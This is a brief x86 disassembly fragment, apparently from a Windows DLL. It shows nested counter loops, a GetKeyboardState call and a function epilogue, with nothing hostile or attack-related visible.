mov edi, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x20]
inc edi
mov dword [ebp - 0x4c], edi
cmp edi, 0x1e5
jl 0x10039bfc
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x67e3
jl 0x10039bf7
mov dword [ebp - 0x28], 0xfffd
mov dword [ebp - 4], 0xf
cmp dword [ebp - 0x40], 0x1416
jge 0x10039c79
mov edx, 0x1000ae10
mov ecx, 0x10606538
call fcn.1002c06b
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa4], 0xffffffff
mov dword [ebp - 0xa0], 0xffffffff
mov dword [ebp - 0x9c], 0xffffffff
dec dword [ebp - 0x28]
mov dword [ebp - 0x28], ebx
jmp 0x10039ce2
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10039cdf
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jle 0x10039ccf
mov eax, dword [ebp - 0x98]
mov ecx, 0x3e8
cdq
idiv ecx
mov ecx, dword [ebp - 0x94]
mov esi, edx
mov edi, eax
call fcn.10038d51
mov ecx, dword [ebp - 0xc]
add eax, esi
add eax, edi
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret